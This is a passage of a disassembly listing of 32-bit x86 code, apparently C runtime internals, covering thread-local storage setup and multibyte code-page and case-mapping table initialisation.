sub_427F60+AEBp ; sub_427F60+BC2p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx loc_428D54: ; CODE XREF: sub_428D50:loc_428D94j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx test eax, eax jle short loc_428D96 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov [ebp+var_4], edx mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx call sub_428C90 add esp, 0Ch mov edx, [ebp+arg_C] cmp dword ptr [edx], 0FFFFFFFFh jnz short loc_428D94 jmp short loc_428D96 ; --------------------------------------------------------------------------- loc_428D94: ; CODE XREF: sub_428D50+40j jmp short loc_428D54 ; --------------------------------------------------------------------------- loc_428D96: ; CODE XREF: sub_428D50+12j ; sub_428D50+42j mov esp, ebp pop ebp retn sub_428D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428DA0 proc near ; CODE XREF: sub_427F60+218p ; sub_427F60+27Fp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov eax, [ecx-4] pop ebp retn sub_428DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428DC0 proc near ; CODE XREF: sub_427F60+7D5p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 8 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] sub ecx, 8 mov eax, [ecx] mov edx, [ecx+4] pop ebp retn sub_428DC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428DE0 proc near ; CODE XREF: sub_427F60+3B2p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 4 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax] mov ax, [ecx-4] pop ebp retn sub_428DE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428E00 proc near ; CODE XREF: _0:loc_422194p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx call sub_4231A0 call ds:dword_4F54CC ; TlsAlloc mov ds:dword_453E04, eax cmp ds:dword_453E04, 0FFFFFFFFh jnz short loc_428E21 xor eax, eax jmp short loc_428E7E ; --------------------------------------------------------------------------- loc_428E21: ; CODE XREF: sub_428E00+1Bj push 61h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_41C2D0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_428E54 mov eax, [ebp+var_4] push eax mov ecx, ds:dword_453E04 push ecx call ds:dword_4F54C8 ; TlsSetValue test eax, eax jnz short loc_428E58 loc_428E54: ; CODE XREF: sub_428E00+3Dj xor eax, eax jmp short loc_428E7E ; --------------------------------------------------------------------------- loc_428E58: ; CODE XREF: sub_428E00+52j mov edx, [ebp+var_4] push edx call sub_428EC0 add esp, 4 call ds:dword_4F54C4 ; GetCurrentThreadId mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh mov eax, 1 loc_428E7E: ; CODE XREF: sub_428E00+1Fj ; sub_428E00+56j mov esp, ebp pop ebp retn sub_428E00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call sub_4231E0 cmp ds:dword_453E04, 0FFFFFFFFh jz short loc_428EB7 mov eax, ds:dword_453E04 push eax call ds:dword_4F54D0 ; TlsFree mov ds:dword_453E04, 0FFFFFFFFh loc_428EB7: ; CODE XREF: _0:00428E9Fj pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428EC0 proc near ; CODE XREF: sub_428E00+5Cp ; sub_428EE0+5Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dword ptr [eax+50h], offset dword_454308 mov ecx, [ebp+arg_0] mov dword ptr [ecx+14h], 1 pop ebp retn sub_428EC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428EE0 proc near ; CODE XREF: sub_41EB60+3p ; sub_41EB70+4p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 call ds:dword_4F5360 ; RtlGetLastWin32Error mov [ebp+var_8], eax mov eax, ds:dword_453E04 push eax call ds:dword_4F54D8 ; TlsGetValue mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_428F67 push 0E7h push offset aTidtable_c ; "tidtable.c" push 2 push 74h push 1 call sub_41C2D0 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_428F5D mov ecx, [ebp+var_4] push ecx mov edx, ds:dword_453E04 push edx call ds:dword_4F54C8 ; TlsSetValue test eax, eax jz short loc_428F5D mov eax, [ebp+var_4] push eax call sub_428EC0 add esp, 4 call ds:dword_4F54C4 ; GetCurrentThreadId mov ecx, [ebp+var_4] mov [ecx], eax mov edx, [ebp+var_4] mov dword ptr [edx+4], 0FFFFFFFFh jmp short loc_428F67 ; --------------------------------------------------------------------------- loc_428F5D: ; CODE XREF: sub_428EE0+43j ; sub_428EE0+58j push 10h call sub_422270 add esp, 4 loc_428F67: ; CODE XREF: sub_428EE0+22j ; sub_428EE0+7Bj mov eax, [ebp+var_8] push eax call ds:dword_4F54D4 ; RtlRestoreLastWin32Error mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_428EE0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp ds:dword_453E04, 0FFFFFFFFh jz loc_429085 cmp dword ptr [ebp+8], 0 jnz short loc_428FA5 mov eax, ds:dword_453E04 push eax call ds:dword_4F54D8 ; TlsGetValue mov [ebp+8], eax loc_428FA5: ; CODE XREF: _0:00428F94j cmp dword ptr [ebp+8], 0 jz loc_429076 mov ecx, [ebp+8] cmp dword ptr [ecx+24h], 0 jz short loc_428FC9 push 2 mov edx, [ebp+8] mov eax, [edx+24h] push eax call sub_41CA10 add esp, 8 loc_428FC9: ; CODE XREF: _0:00428FB6j mov ecx, [ebp+8] cmp dword ptr [ecx+28h], 0 jz short loc_428FE3 push 2 mov edx, [ebp+8] mov eax, [edx+28h] push eax call sub_41CA10 add esp, 8 loc_428FE3: ; CODE XREF: _0:00428FD0j mov ecx, [ebp+8] cmp dword ptr [ecx+30h], 0 jz short loc_428FFD push 2 mov edx, [ebp+8] mov eax, [edx+30h] push eax call sub_41CA10 add esp, 8 loc_428FFD: ; CODE XREF: _0:00428FEAj mov ecx, [ebp+8] cmp dword ptr [ecx+38h], 0 jz short loc_429017 push 2 mov edx, [ebp+8] mov eax, [edx+38h] push eax call sub_41CA10 add esp, 8 loc_429017: ; CODE XREF: _0:00429004j mov ecx, [ebp+8] cmp dword ptr [ecx+40h], 0 jz short loc_429031 push 2 mov edx, [ebp+8] mov eax, [edx+40h] push eax call sub_41CA10 add esp, 8 loc_429031: ; CODE XREF: _0:0042901Ej mov ecx, [ebp+8] cmp dword ptr [ecx+44h], 0 jz short loc_42904B push 2 mov edx, [ebp+8] mov eax, [edx+44h] push eax call sub_41CA10 add esp, 8 loc_42904B: ; CODE XREF: _0:00429038j mov ecx, [ebp+8] cmp dword ptr [ecx+50h], offset dword_454308 jz short loc_429068 push 2 mov edx, [ebp+8] mov eax, [edx+50h] push eax call sub_41CA10 add esp, 8 loc_429068: ; CODE XREF: _0:00429055j push 2 mov ecx, [ebp+8] push ecx call sub_41CA10 add esp, 8 loc_429076: ; CODE XREF: _0:00428FA9j push 0 mov edx, ds:dword_453E04 push edx call ds:dword_4F54C8 ; TlsSetValue loc_429085: ; CODE XREF: _0:00428F8Aj pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call ds:dword_4F54C4 ; GetCurrentThreadId pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call ds:dword_4F54DC ; GetCurrentThread pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4290B0 proc near ; CODE XREF: sub_429890+Ep var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push 19h call sub_423280 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_429400 add esp, 4 mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] cmp ecx, ds:dword_4F37CC jnz short loc_4290EB push 19h call sub_423320 add esp, 4 xor eax, eax jmp loc_4293F0 ; --------------------------------------------------------------------------- loc_4290EB: ; CODE XREF: sub_4290B0+28j cmp [ebp+arg_0], 0 jnz short loc_42910C call sub_4294E0 call sub_429560 push 19h call sub_423320 add esp, 4 xor eax, eax jmp loc_4293F0 ; --------------------------------------------------------------------------- loc_42910C: ; CODE XREF: sub_4290B0+3Fj mov [ebp+var_4], 0 jmp short loc_42911E ; --------------------------------------------------------------------------- loc_429115: ; CODE XREF: sub_4290B0:loc_42926Aj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42911E: ; CODE XREF: sub_4290B0+63j cmp [ebp+var_4], 5 jnb loc_42926F mov eax, [ebp+var_4] imul eax, 30h mov ecx, ds:dword_453E10[eax] cmp ecx, [ebp+arg_0] jnz loc_42926A mov [ebp+var_24], 0 jmp short loc_42914F ; --------------------------------------------------------------------------- loc_429146: ; CODE XREF: sub_4290B0+B2j mov edx, [ebp+var_24] add edx, 1 mov [ebp+var_24], edx loc_42914F: ; CODE XREF: sub_4290B0+94j cmp [ebp+var_24], 101h jnb short loc_429164 mov eax, [ebp+var_24] mov ds:byte_4F38E0[eax], 0 jmp short loc_429146 ; --------------------------------------------------------------------------- loc_429164: ; CODE XREF: sub_4290B0+A6j mov [ebp+var_C], 0 jmp short loc_429176 ; --------------------------------------------------------------------------- loc_42916D: ; CODE XREF: sub_4290B0:loc_4291F2j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx loc_429176: ; CODE XREF: sub_4290B0+BBj cmp [ebp+var_C], 4 jnb short loc_4291F7 mov edx, [ebp+var_4] imul edx, 30h mov eax, [ebp+var_C] lea ecx, dword_453E20[edx+eax*8] mov [ebp+var_8], ecx jmp short loc_42919A ; --------------------------------------------------------------------------- loc_429191: ; CODE XREF: sub_4290B0:loc_4291F0j mov edx, [ebp+var_8] add edx, 2 mov [ebp+var_8], edx loc_42919A: ; CODE XREF: sub_4290B0+DFj mov eax, [ebp+var_8] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_4291F2 mov edx, [ebp+var_8] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_4291F2 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_4291C6 ; --------------------------------------------------------------------------- loc_4291BD: ; CODE XREF: sub_4290B0+13Ej mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_4291C6: ; CODE XREF: sub_4290B0+10Bj mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_4291F0 mov eax, [ebp+var_24] mov ecx, [ebp+var_C] mov dl, ds:byte_4F38E1[eax] or dl, ds:byte_453E08[ecx] mov eax, [ebp+var_24] mov ds:byte_4F38E1[eax], dl jmp short loc_4291BD ; --------------------------------------------------------------------------- loc_4291F0: ; CODE XREF: sub_4290B0+121j jmp short loc_429191 ; --------------------------------------------------------------------------- loc_4291F2: ; CODE XREF: sub_4290B0+F3j ; sub_4290B0+FFj jmp loc_42916D ; --------------------------------------------------------------------------- loc_4291F7: ; CODE XREF: sub_4290B0+CAj mov ecx, [ebp+arg_0] mov ds:dword_4F37CC, ecx mov ds:dword_4F37DC, 1 mov edx, ds:dword_4F37CC push edx call sub_429460 add esp, 4 mov ds:dword_4F39E4, eax mov [ebp+var_C], 0 jmp short loc_429230 ; --------------------------------------------------------------------------- loc_429227: ; CODE XREF: sub_4290B0+1A2j mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_429230: ; CODE XREF: sub_4290B0+175j cmp [ebp+var_C], 6 jnb short loc_429254 mov ecx, [ebp+var_4] imul ecx, 30h mov edx, [ebp+var_C] mov eax, [ebp+var_C] mov cx, ds:word_453E14[ecx+eax*2] mov ds:word_4F37D0[edx*2], cx jmp short loc_429227 ; --------------------------------------------------------------------------- loc_429254: ; CODE XREF: sub_4290B0+184j call sub_429560 push 19h call sub_423320 add esp, 4 xor eax, eax jmp loc_4293F0 ; --------------------------------------------------------------------------- loc_42926A: ; CODE XREF: sub_4290B0+87j jmp loc_429115 ; --------------------------------------------------------------------------- loc_42926F: ; CODE XREF: sub_4290B0+72j lea edx, [ebp+var_20] push edx mov eax, [ebp+arg_0] push eax call ds:dword_4F54E0 ; GetCPInfo cmp eax, 1 jnz loc_4293C2 mov [ebp+var_24], 0 jmp short loc_429298 ; --------------------------------------------------------------------------- loc_42928F: ; CODE XREF: sub_4290B0+1FBj mov ecx, [ebp+var_24] add ecx, 1 mov [ebp+var_24], ecx loc_429298: ; CODE XREF: sub_4290B0+1DDj cmp [ebp+var_24], 101h jnb short loc_4292AD mov edx, [ebp+var_24] mov ds:byte_4F38E0[edx], 0 jmp short loc_42928F ; --------------------------------------------------------------------------- loc_4292AD: ; CODE XREF: sub_4290B0+1EFj mov eax, [ebp+arg_0] mov ds:dword_4F37CC, eax mov ds:dword_4F39E4, 0 cmp [ebp+var_20], 1 jbe loc_42937E lea ecx, [ebp+var_1A] mov [ebp+var_28], ecx jmp short loc_4292DA ; --------------------------------------------------------------------------- loc_4292D1: ; CODE XREF: sub_4290B0:loc_42932Aj mov edx, [ebp+var_28] add edx, 2 mov [ebp+var_28], edx loc_4292DA: ; CODE XREF: sub_4290B0+21Fj mov eax, [ebp+var_28] xor ecx, ecx mov cl, [eax] test ecx, ecx jz short loc_42932C mov edx, [ebp+var_28] xor eax, eax mov al, [edx+1] test eax, eax jz short loc_42932C mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx] mov [ebp+var_24], edx jmp short loc_429306 ; --------------------------------------------------------------------------- loc_4292FD: ; CODE XREF: sub_4290B0+278j mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_429306: ; CODE XREF: sub_4290B0+24Bj mov ecx, [ebp+var_28] xor edx, edx mov dl, [ecx+1] cmp [ebp+var_24], edx ja short loc_42932A mov eax, [ebp+var_24] mov cl, ds:byte_4F38E1[eax] or cl, 4 mov edx, [ebp+var_24] mov ds:byte_4F38E1[edx], cl jmp short loc_4292FD ; --------------------------------------------------------------------------- loc_42932A: ; CODE XREF: sub_4290B0+261j jmp short loc_4292D1 ; --------------------------------------------------------------------------- loc_42932C: ; CODE XREF: sub_4290B0+233j ; sub_4290B0+23Fj mov [ebp+var_24], 1 jmp short loc_42933E ; --------------------------------------------------------------------------- loc_429335: ; CODE XREF: sub_4290B0+2ACj mov eax, [ebp+var_24] add eax, 1 mov [ebp+var_24], eax loc_42933E: ; CODE XREF: sub_4290B0+283j cmp [ebp+var_24], 0FFh jnb short loc_42935E mov ecx, [ebp+var_24] mov dl, ds:byte_4F38E1[ecx] or dl, 8 mov eax, [ebp+var_24] mov ds:byte_4F38E1[eax], dl jmp short loc_429335 ; --------------------------------------------------------------------------- loc_42935E: ; CODE XREF: sub_4290B0+295j mov ecx, ds:dword_4F37CC push ecx call sub_429460 add esp, 4 mov ds:dword_4F39E4, eax mov ds:dword_4F37DC, 1 jmp short loc_429388 ; --------------------------------------------------------------------------- loc_42937E: ; CODE XREF: sub_4290B0+213j mov ds:dword_4F37DC, 0 loc_429388: ; CODE XREF: sub_4290B0+2CCj mov [ebp+var_C], 0 jmp short loc_42939A ; --------------------------------------------------------------------------- loc_429391: ; CODE XREF: sub_4290B0+2FDj mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_42939A: ; CODE XREF: sub_4290B0+2DFj cmp [ebp+var_C], 6 jnb short loc_4293AF mov eax, [ebp+var_C] mov ds:word_4F37D0[eax*2], 0 jmp short loc_429391 ; --------------------------------------------------------------------------- loc_4293AF: ; CODE XREF: sub_4290B0+2EEj call sub_429560 push 19h call sub_423320 add esp, 4 xor eax, eax jmp short loc_4293F0 ; --------------------------------------------------------------------------- loc_4293C2: ; CODE XREF: sub_4290B0+1D0j cmp ds:dword_4F33E4, 0 jz short loc_4293E3 call sub_4294E0 call sub_429560 push 19h call sub_423320 add esp, 4 xor eax, eax jmp short loc_4293F0 ; --------------------------------------------------------------------------- loc_4293E3: ; CODE XREF: sub_4290B0+319j push 19h call sub_423320 add esp, 4 or eax, 0FFFFFFFFh loc_4293F0: ; CODE XREF: sub_4290B0+36j ; sub_4290B0+57j ... mov esp, ebp pop ebp retn sub_4290B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429400 proc near ; CODE XREF: sub_4290B0+14p arg_0 = dword ptr 8 push ebp mov ebp, esp mov ds:dword_4F33E4, 0 cmp [ebp+arg_0], 0FFFFFFFEh jnz short loc_429425 mov ds:dword_4F33E4, 1 call ds:dword_4F54E8 ; GetOEMCP jmp short loc_429457 ; --------------------------------------------------------------------------- loc_429425: ; CODE XREF: sub_429400+11j cmp [ebp+arg_0], 0FFFFFFFDh jnz short loc_42943D mov ds:dword_4F33E4, 1 call ds:dword_4F54E4 ; GetACP jmp short loc_429457 ; --------------------------------------------------------------------------- loc_42943D: ; CODE XREF: sub_429400+29j cmp [ebp+arg_0], 0FFFFFFFCh jnz short loc_429454 mov ds:dword_4F33E4, 1 mov eax, ds:dword_4F3408 jmp short loc_429457 ; --------------------------------------------------------------------------- loc_429454: ; CODE XREF: sub_429400+41j mov eax, [ebp+arg_0] loc_429457: ; CODE XREF: sub_429400+23j ; sub_429400+3Bj ... pop ebp retn sub_429400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429460 proc near ; CODE XREF: sub_4290B0+161p ; sub_4290B0+2B5p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+var_4] sub ecx, 3A4h mov [ebp+var_4], ecx cmp [ebp+var_4], 12h ja short loc_4294AA mov eax, [ebp+var_4] xor edx, edx mov dl, byte_4294C4[eax] jmp off_4294B0[edx*4] loc_42948E: ; DATA XREF: _0:off_4294B0o mov eax, 411h jmp short loc_4294AC ; --------------------------------------------------------------------------- loc_429495: ; CODE XREF: sub_429460+27j ; DATA XREF: _0:004294B4o mov eax, 804h jmp short loc_4294AC ; --------------------------------------------------------------------------- loc_42949C: ; CODE XREF: sub_429460+27j ; DATA XREF: _0:004294B8o mov eax, 412h jmp short loc_4294AC ; --------------------------------------------------------------------------- loc_4294A3: ; CODE XREF: sub_429460+27j ; DATA XREF: _0:004294BCo mov eax, 404h jmp short loc_4294AC ; --------------------------------------------------------------------------- loc_4294AA: ; CODE XREF: sub_429460+1Aj ; sub_429460+27j ; DATA XREF: ... xor eax, eax loc_4294AC: ; CODE XREF: sub_429460+33j ; sub_429460+3Aj ... mov esp, ebp pop ebp retn sub_429460 endp ; --------------------------------------------------------------------------- off_4294B0 dd offset loc_42948E ; DATA XREF: sub_429460+27r dd offset loc_429495 dd offset loc_42949C dd offset loc_4294A3 dd offset loc_4294AA byte_4294C4 db 0 ; DATA XREF: sub_429460+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4294E0 proc near ; CODE XREF: sub_4290B0+41p ; sub_4290B0+31Bp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_4294F6 ; --------------------------------------------------------------------------- loc_4294ED: ; CODE XREF: sub_4294E0+29j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4294F6: ; CODE XREF: sub_4294E0+Bj cmp [ebp+var_4], 101h jge short loc_42950B mov ecx, [ebp+var_4] mov ds:byte_4F38E0[ecx], 0 jmp short loc_4294ED ; --------------------------------------------------------------------------- loc_42950B: ; CODE XREF: sub_4294E0+1Dj mov ds:dword_4F37CC, 0 mov ds:dword_4F37DC, 0 mov ds:dword_4F39E4, 0 mov [ebp+var_4], 0 jmp short loc_42953B ; --------------------------------------------------------------------------- loc_429532: ; CODE XREF: sub_4294E0+6Ej mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_42953B: ; CODE XREF: sub_4294E0+50j cmp [ebp+var_4], 6 jge short loc_429550 mov eax, [ebp+var_4] mov ds:word_4F37D0[eax*2], 0 jmp short loc_429532 ; --------------------------------------------------------------------------- loc_429550: ; CODE XREF: sub_4294E0+5Fj mov esp, ebp pop ebp retn sub_4294E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429560 proc near ; CODE XREF: sub_4290B0+46p ; sub_4290B0:loc_429254p ... var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_418 = byte ptr -418h var_318 = byte ptr -318h var_312 = byte ptr -312h var_304 = byte ptr -304h var_204 = word ptr -204h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 51Ch lea eax, [ebp+var_318] push eax mov ecx, ds:dword_4F37CC push ecx call ds:dword_4F54E0 ; GetCPInfo cmp eax, 1 jnz loc_429799 mov [ebp+var_51C], 0 jmp short loc_4295A1 ; --------------------------------------------------------------------------- loc_429592: ; CODE XREF: sub_429560+60j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_4295A1: ; CODE XREF: sub_429560+30j cmp [ebp+var_51C], 100h jnb short loc_4295C2 mov eax, [ebp+var_51C] mov cl, byte ptr [ebp+var_51C] mov [ebp+eax+var_304], cl jmp short loc_429592 ; --------------------------------------------------------------------------- loc_4295C2: ; CODE XREF: sub_429560+4Bj mov [ebp+var_304], 20h lea edx, [ebp+var_312] mov [ebp+var_4], edx jmp short loc_4295DD ; --------------------------------------------------------------------------- loc_4295D4: ; CODE XREF: sub_429560:loc_429626j mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax loc_4295DD: ; CODE XREF: sub_429560+72j mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_429628 mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov [ebp+var_51C], ecx jmp short loc_429606 ; --------------------------------------------------------------------------- loc_4295F7: ; CODE XREF: sub_429560+C4j mov edx, [ebp+var_51C] add edx, 1 mov [ebp+var_51C], edx loc_429606: ; CODE XREF: sub_429560+95j mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax+1] cmp [ebp+var_51C], ecx ja short loc_429626 mov edx, [ebp+var_51C] mov [ebp+edx+var_304], 20h jmp short loc_4295F7 ; --------------------------------------------------------------------------- loc_429626: ; CODE XREF: sub_429560+B4j jmp short loc_4295D4 ; --------------------------------------------------------------------------- loc_429628: ; CODE XREF: sub_429560+86j push 0 mov eax, ds:dword_4F39E4 push eax mov ecx, ds:dword_4F37CC push ecx lea edx, [ebp+var_204] push edx push 100h lea eax, [ebp+var_304] push eax push 1 call sub_431210 add esp, 1Ch push 0 mov ecx, ds:dword_4F37CC push ecx push 100h lea edx, [ebp+var_418] push edx push 100h lea eax, [ebp+var_304] push eax push 100h mov ecx, ds:dword_4F39E4 push ecx call sub_42EC50 add esp, 20h push 0 mov edx, ds:dword_4F37CC push edx push 100h lea eax, [ebp+var_518] push eax push 100h lea ecx, [ebp+var_304] push ecx push 200h mov edx, ds:dword_4F39E4 push edx call sub_42EC50 add esp, 20h mov [ebp+var_51C], 0 jmp short loc_4296D9 ; --------------------------------------------------------------------------- loc_4296CA: ; CODE XREF: sub_429560:loc_42978Fj mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_4296D9: ; CODE XREF: sub_429560+168j cmp [ebp+var_51C], 100h jnb loc_429794 mov ecx, [ebp+var_51C] xor edx, edx mov dx, [ebp+ecx*2+var_204] and edx, 1 test edx, edx jz short loc_429736 mov eax, [ebp+var_51C] mov cl, ds:byte_4F38E1[eax] or cl, 10h mov edx, [ebp+var_51C] mov ds:byte_4F38E1[edx], cl mov eax, [ebp+var_51C] mov ecx, [ebp+var_51C] mov dl, [ebp+ecx+var_418] mov ds:byte_4F37E0[eax], dl jmp short loc_42978F ; --------------------------------------------------------------------------- loc_429736: ; CODE XREF: sub_429560+19Ej mov eax, [ebp+var_51C] xor ecx, ecx mov cx, [ebp+eax*2+var_204] and ecx, 2 test ecx, ecx jz short loc_429782 mov edx, [ebp+var_51C] mov al, ds:byte_4F38E1[edx] or al, 20h mov ecx, [ebp+var_51C] mov ds:byte_4F38E1[ecx], al mov edx, [ebp+var_51C] mov eax, [ebp+var_51C] mov cl, [ebp+eax+var_518] mov ds:byte_4F37E0[edx], cl jmp short loc_42978F ; --------------------------------------------------------------------------- loc_429782: ; CODE XREF: sub_429560+1EBj mov edx, [ebp+var_51C] mov ds:byte_4F37E0[edx], 0 loc_42978F: ; CODE XREF: sub_429560+1D4j ; sub_429560+220j jmp loc_4296CA ; --------------------------------------------------------------------------- loc_429794: ; CODE XREF: sub_429560+183j jmp loc_42985E ; --------------------------------------------------------------------------- loc_429799: ; CODE XREF: sub_429560+20j mov [ebp+var_51C], 0 jmp short loc_4297B4 ; --------------------------------------------------------------------------- loc_4297A5: ; CODE XREF: sub_429560:loc_429859j mov eax, [ebp+var_51C] add eax, 1 mov [ebp+var_51C], eax loc_4297B4: ; CODE XREF: sub_429560+243j cmp [ebp+var_51C], 100h jnb loc_42985E cmp [ebp+var_51C], 41h jb short loc_429808 cmp [ebp+var_51C], 5Ah ja short loc_429808 mov ecx, [ebp+var_51C] mov dl, ds:byte_4F38E1[ecx] or dl, 10h mov eax, [ebp+var_51C] mov ds:byte_4F38E1[eax], dl mov ecx, [ebp+var_51C] add ecx, 20h mov edx, [ebp+var_51C] mov ds:byte_4F37E0[edx], cl jmp short loc_429859 ; --------------------------------------------------------------------------- loc_429808: ; CODE XREF: sub_429560+26Bj ; sub_429560+274j cmp [ebp+var_51C], 61h jb short loc_42984C cmp [ebp+var_51C], 7Ah ja short loc_42984C mov eax, [ebp+var_51C] mov cl, ds:byte_4F38E1[eax] or cl, 20h mov edx, [ebp+var_51C] mov ds:byte_4F38E1[edx], cl mov eax, [ebp+var_51C] sub eax, 20h mov ecx, [ebp+var_51C] mov ds:byte_4F37E0[ecx], al jmp short loc_429859 ; --------------------------------------------------------------------------- loc_42984C: ; CODE XREF: sub_429560+2AFj ; sub_429560+2B8j mov edx, [ebp+var_51C] mov ds:byte_4F37E0[edx], 0 loc_429859: ; CODE XREF: sub_429560+2A6j ; sub_429560+2EAj jmp loc_4297A5 ; --------------------------------------------------------------------------- loc_42985E: ; CODE XREF: sub_429560:loc_429794j ; sub_429560+25Ej mov esp, ebp pop ebp retn sub_429560 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp cmp ds:dword_4F37DC, 0 jz short loc_429883 mov eax, ds:dword_4F37CC jmp short loc_429885 ; --------------------------------------------------------------------------- loc_429883: ; CODE XREF: _0:0042987Aj xor eax, eax loc_429885: ; CODE XREF: _0:00429881j pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429890 proc near ; CODE XREF: sub_42F1D0+Dp ; sub_42F290+Fp ... push ebp mov ebp, esp cmp ds:dword_4F4A2C, 0 jnz short loc_4298B0 push 0FFFFFFFDh call sub_4290B0 add esp, 4 mov ds:dword_4F4A2C, 1 loc_4298B0: ; CODE XREF: sub_429890+Aj pop ebp retn sub_429890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4298C0 proc near ; CODE XREF: sub_41ED30+41p ; sub_41ED30+11Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp ds:dword_4F37DC, 0 jnz short loc_4298EC mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_41E510 add esp, 0Ch jmp loc_4299E1 ; --------------------------------------------------------------------------- loc_4298EC: ; CODE XREF: sub_4298C0+11j push 19h call sub_423280 add esp, 4 loc_4298F6: ; CODE XREF: sub_4298C0:loc_4299AEj cmp [ebp+arg_8], 0 jz loc_4299B3 mov ecx, [ebp+arg_8] sub ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, ds:byte_4F38E1[eax] and ecx, 4 test ecx, ecx jz short loc_429985 mov edx, 